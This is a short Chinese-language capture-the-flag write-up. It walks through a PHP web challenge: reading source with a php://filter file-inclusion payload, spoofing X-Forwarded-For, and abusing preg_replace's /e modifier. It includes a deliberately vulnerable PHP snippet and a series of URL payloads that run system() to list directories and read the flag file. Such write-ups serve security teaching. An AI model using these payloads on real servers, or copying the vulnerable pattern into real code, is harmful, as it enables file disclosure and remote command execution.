php://filter 伪协议查看源码 + preg_replace 函数漏洞
在url上输入什么,就回显什么,但当是 select、database()时就输出不了,有可能被过滤了。
1.获取网页源代码。多点点界面,发现点云平台设备维护中心时,页面发生变化。
看到?page=index,可能存在文件包含,想到 php://伪协议 。题目描述也说了后门入侵
/?page=index 输入什么显示什么,有回显。
用php://filter读取网页源代码
?page=php://filter/read=convert.base64-encode/resource=index.php
ctype_alnum:判断是否为 数字 或 字符串 或 数字和字符串的组合,有空格也不行
(1)要求 http 头的 X-Forwarded-For = 127.0.0.1
preg_replace(A,B,C) 把 C 中的 A 替换为 B。
PHP 的 preg_replace()函数存在一个安全问题:
在 A 使用 /e 修饰符,preg_replace 会将 B 当作 PHP 代码执行。
提示:要确保 B 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
<?php
preg_replace("/test/e",$_GET["h"],"test");
?>
?pat=/(.*)/e&rep=system('ls')&sub=aa
或者
?pat=/test/e&rep=$_GET["h"]&sub=test
?pat=/txt/e&rep=system("ls")&sub=txt
?pat=/txt/e&rep=system("ls+s3chahahaDir")&sub=txt
?pat=/txt/e&rep=system("ls+s3chahahaDir/flag")&sub=txt
?pat=/txt/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=txt